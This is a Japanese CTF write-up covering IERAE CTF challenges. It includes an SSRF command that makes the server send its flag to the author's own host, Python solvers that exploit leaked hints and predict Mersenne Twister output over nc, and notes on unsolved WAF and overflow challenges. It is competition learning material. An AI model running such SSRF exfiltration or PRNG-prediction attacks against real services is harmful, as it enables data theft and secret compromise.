IERAE CTFは初参加です。楽しかった! 普段はWeb問題をメインで挑戦しているのですが、今回はなるべく多くのスコアを取るために他のジャンルにも挑戦してみました。 revはチームメイトが解いてくれました。 結果は2人チームで全224チーム中49位!結構頑張った!

web

Futari APIs

frontend.ts

const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);

としているところが怪しそう。

JavaScriptのURLオブジェクトのコンストラクタnew URL(url, base)は url が絶対URL である場合、指定されたbase は無視するらしく( なぜ??)、urlに絶対URLを指定すればいいことがわかる。

参考: https://developer.mozilla.org/ja/docs/Web/API/URL/URL

また直後に

return await fetch(uri);

があるため、外部のホストへリクエストが飛ばせそう。 denoではデフォルトではネットワークアクセスができないが、今回は--allow-netオプションが付いているため許可されている。

CTFの競技サーバを192.0.2.1:3000, 自分で用意した受信用サーバを192.0.2.2:3000とすると、

curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"

192.0.2.2:3000に向けてFLAG付きのリクエストが飛んでくる。

babewaf

解けなかったけどいくつか勉強になったことがあるのでメモ。

  • Expressはデフォルトでルーティングの際にURLの大文字小文字を考慮しない。
  • Expressでは正規表現の*文字は通常の方法で解釈されない。
    • https://expressjs.com/ja/guide/routing.html

      Express 4.xでは、正規表現の文字は通常の方法で解釈されません。回避策として、の代わりに{0,}を使用してください。これは、Express 5で修正される可能性があります。

    • https://github.com/expressjs/express/issues/2495
    • 以下のルーティングに問題があるのではないかと疑っていた。

        app.get(
          "*",
          createProxyMiddleware({
            target: BACKEND,
          }),
        );
      

crypt

derangement

magic_wordに含まれる文字は

LENGTH = 15
CHAR_SET = string.ascii_letters + string.digits + string.punctuation

def generate_magic_word(length=LENGTH, char_set=CHAR_SET):
    return ''.join(random.sample(char_set, length))

によって生成されるため、

  • ascii_letters: 52文字
  • digits: 10文字
  • punctuation: 32文字

の計94文字が候補になる。

def is_derangement(perm, original):
    return all(p != o for p, o in zip(perm, original))
によって、derangedのi文字目とmagic_wordのi文字目と一致しない。 つまり、derangedに1度でも出現した文字は除外することができる。

299回まで試行出来るので、299回の試行によって93文字を除外できればOK。

ここで、

  • candidate_char_set: ヒント文字列で出現した全ての文字の集合
  • appeared_char_set_dict[i]: ヒント文字列のi文字目に出現した全ての文字の集合

とする。

candidate_char_setの中から、appeared_char_set_dict[i]を削除し、残った1文字がmagic_wordのi文字目の文字である。

Weak PRNGでもそうだったのだが、対話的に作られたCLIプログラムを処理するコードを書くのに時間が掛かってしまった。もっと綺麗に書く方法があるのだと思う。

クリックで展開

競技サーバを`192.0.2.1:55555`, とする。

import subprocess
import string

def read_output(
        process: subprocess.Popen,
        expected_prompts: int,
        hint_list: list[str],
    ) -> list[str]:

    for _ in range(expected_prompts):
        stdout = process.stdout

        if stdout is None:
            raise Exception()
        
        output = stdout.readline().strip()
        if output:
            print(output)

            if 'hint: ' in output:
                hint_str = output.replace('> hint: ', '')
                hint_list.append(hint_str)

    return hint_list

def remove_from_charset(
    hint_char_set: set[str],
) -> set[str]:
    CHAR_SET = string.ascii_letters + string.digits + string.punctuation
    CHAR_SET = set(CHAR_SET)

    remained_char_set = CHAR_SET

    for hint_char in hint_char_set:
        remained_char_set.remove(hint_char)

    return remained_char_set

def get_char_set_at_n_from_hint_list(
    hint_list: list[str],
    index: int,
) -> set[str]:
    appeared_char_set = set()
    for hint_str in hint_list:
        hint_char = hint_str[index]
        appeared_char_set.add(hint_char)

    return appeared_char_set

def main():
    process = subprocess.Popen(
        # ['python3', '../challenge.py'],
        ['nc','192.0.2.1','55555'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )


    hint_list:list[str] = []
    hint_list = read_output(
        process=process,
        expected_prompts=8,
        hint_list=hint_list,
    )
    
    print(hint_list)


    for i in range(290):
        commands = ['1']
        for command in commands:
            stdin = process.stdin
            if stdin is None:
                raise Exception()
            
            stdin.write(command + '\n')
            stdin.flush()
            read_output(
                process=process,
                expected_prompts=3,
                hint_list=hint_list,
            )

    print(hint_list)
    candidate_char_set = set()
    appeared_char_set_dict: dict[int, set[str]] = {}
    for i in range(15):
        appeared_char_set = get_char_set_at_n_from_hint_list(
            hint_list=hint_list,
            index=i,
        )
        s = ''.join(sorted(appeared_char_set))
        print(s, len(s))

        candidate_char_set = candidate_char_set | appeared_char_set
        appeared_char_set_dict[i] = appeared_char_set

    print(candidate_char_set)

    answer= ''
    for index, appeared_char_set in appeared_char_set_dict.items():
        s = (candidate_char_set - appeared_char_set).pop()
        answer = answer + s

    print(f'SOLVED!!: {answer}')
    
    stdin.write('2' + '\n')
    stdin.flush()
    read_output(
        process=process,
        expected_prompts=2,
        hint_list=hint_list,
    )

    stdin.write(answer + '\n')
    stdin.flush()

    read_output(
        process=process,
        expected_prompts=3,
        hint_list=hint_list,
    )

    
    # 終了処理
    process.stdin.close()
    process.stdout.close()
    process.stderr.close()
    process.wait()

if __name__ == "__main__":
    main()

Weak PRNG

Mersenne Twister (MT19937) で未来と過去の乱数列を予測してみる【Python】のプログラムを拝借したところそのまま動作した。

Pythonのrandomモジュールは疑似乱数生成であり、メルセンヌツイスタでは生成された乱数を数百通り程度与えるだけで元の乱数生成器を複製できる。

確かにrandomモジュールのドキュメントにも

警告 このモジュールの擬似乱数生成器をセキュリティ目的に使用してはいけません。セキュリティや暗号学的な用途については secrets モジュールを参照してください。

と書いてある。

io_lib.py

クリックで展開

import subprocess
import string

def read_output(
        process: subprocess.Popen,
        expected_prompts: int,
    ) -> list[int]:
    generator_output_list: list[int] = []

    for _ in range(expected_prompts):
        stdout = process.stdout

        if stdout is None:
            raise Exception()
        
        output = stdout.readline().strip()
        if output:
            print(output)
            output = output.replace(' ', '')
            
            if output.isdigit():
                generator_output_list.append(int(output))
    
    if expected_prompts >= 16:
        size = len(generator_output_list)
        if not size == 16:
            raise Exception(size)

    return generator_output_list

lib.py

クリックで展開

# https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用

def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xefc60000)
    x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
    x = unBitshiftRightXor(x, 11)
    return x


def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y


def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y


def get_prev_state(state):
    for i in range(623, -1, -1):
        result = 0
        tmp = state[i]
        tmp ^= state[(i + 397) % 624]
        if ((tmp & 0x80000000) == 0x80000000):
            tmp ^= 0x9908b0df
        result = (tmp << 1) & 0x80000000
        tmp = state[(i - 1 + 624) % 624]
        tmp ^= state[(i + 396) % 624]
        if ((tmp & 0x80000000) == 0x80000000):
            tmp ^= 0x9908b0df
            result |= 1
        result |= (tmp << 1) & 0x7fffffff
        state[i] = result
    return state

predict_secret.py

クリックで展開

from lib import untemper, get_prev_state
import random

def predict_secret(
    xs1: list[int],
    n: int,
):
    mt_state = [untemper(x) for x in xs1]
    prev_mt_state = get_prev_state(mt_state)
    random.setstate((3, tuple(prev_mt_state + [0]), None))

    predicted = [random.getrandbits(32) for _ in range(n)]
    return predicted[623]

solver.py

クリックで展開

import subprocess
from io_lib import read_output
from predict_secret import predict_secret


if __name__ == '__main__':
    process = subprocess.Popen(
        # ['python3', '../challenge.py'],
        ['nc', '192.0.2.1', '19937'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )

    read_output(
        process=process,
        expected_prompts=7,
    )

    stdin = process.stdin
    if stdin is None:
        raise Exception()
    
    generator_output_list: list[int] = []

    for i in range(40):
        stdin.write('1' + '\n')
        stdin.flush()
        generator_output_list = generator_output_list + read_output(
            process=process,
            expected_prompts=23,
        )
        print(generator_output_list)

    predicted_secret = predict_secret(
        xs1=generator_output_list[:624],
        n=624,
    )

    print(predicted_secret)

    
    stdin.write(f'2' + '\n')
    stdin.flush()
    generator_output_list = generator_output_list + read_output(
        process=process,
        expected_prompts=2,
    )

    stdin.write(f'{predicted_secret}' + '\n')
    stdin.flush()
    generator_output_list = generator_output_list + read_output(
        process=process,
        expected_prompts=2,
    )

pwn

This is warmup

pwnは初挑戦! 解くことはできなかったが、pwnを解く手順が少しだけ分かった気がする。

【入門】はじめてのバッファオーバーフローを参考に解いてみた。 gdbで変数の中身を覗くくらいはやったことがあったのだが、gdbだけでは難しいようで、gdb-pedaというラッパーツールを使う。 stackの中身を表示しながらデバッグできるのでとても便利!

gdb-pedaの出力からwin関数へのアドレスは(多分)分かった。 どこかに不正な入力を入れ、バッファオーバーフローを起こし、stackに積まれているリターンアドレスをwin関数へのアドレスへ書き換えようとした。

printf("Enter number of rows: ");
scanf("%llu", &nrow);

このscanfに不正な値を入れ、バッファオーバーフローを起こすのだと思ったのだが、バッファオーバーフローを起こせる文字列を特定できなかった。
例えば、unsigned long long int (=64bit)の最大値を超える数値を入れると、0xffffffffffffffffとなり、stackに64ビットを超えて書き込むことができなった。

if (nrow * ncol < nrow) { // this is integer overflow right?
    puts("Don't hack!");
    exit(1);
}

このチェックは、nrowを0とすればncolがどんな値でも通過できると思ったのだが、そうすると

for (unsigned long long int i=0; i<nrow; i++) {
    for (unsigned long long int j=0; j<ncol; j++) {
      matrix[i*ncol+j] = (i+j) % 2;
    }
}
のループが実行できず、SEGVは起こせないことに気が付いた。

その後もstackの値を見ながら、scanfに入れる文字列を試していたのだがバッファオーバーフローしないのでギブアップ。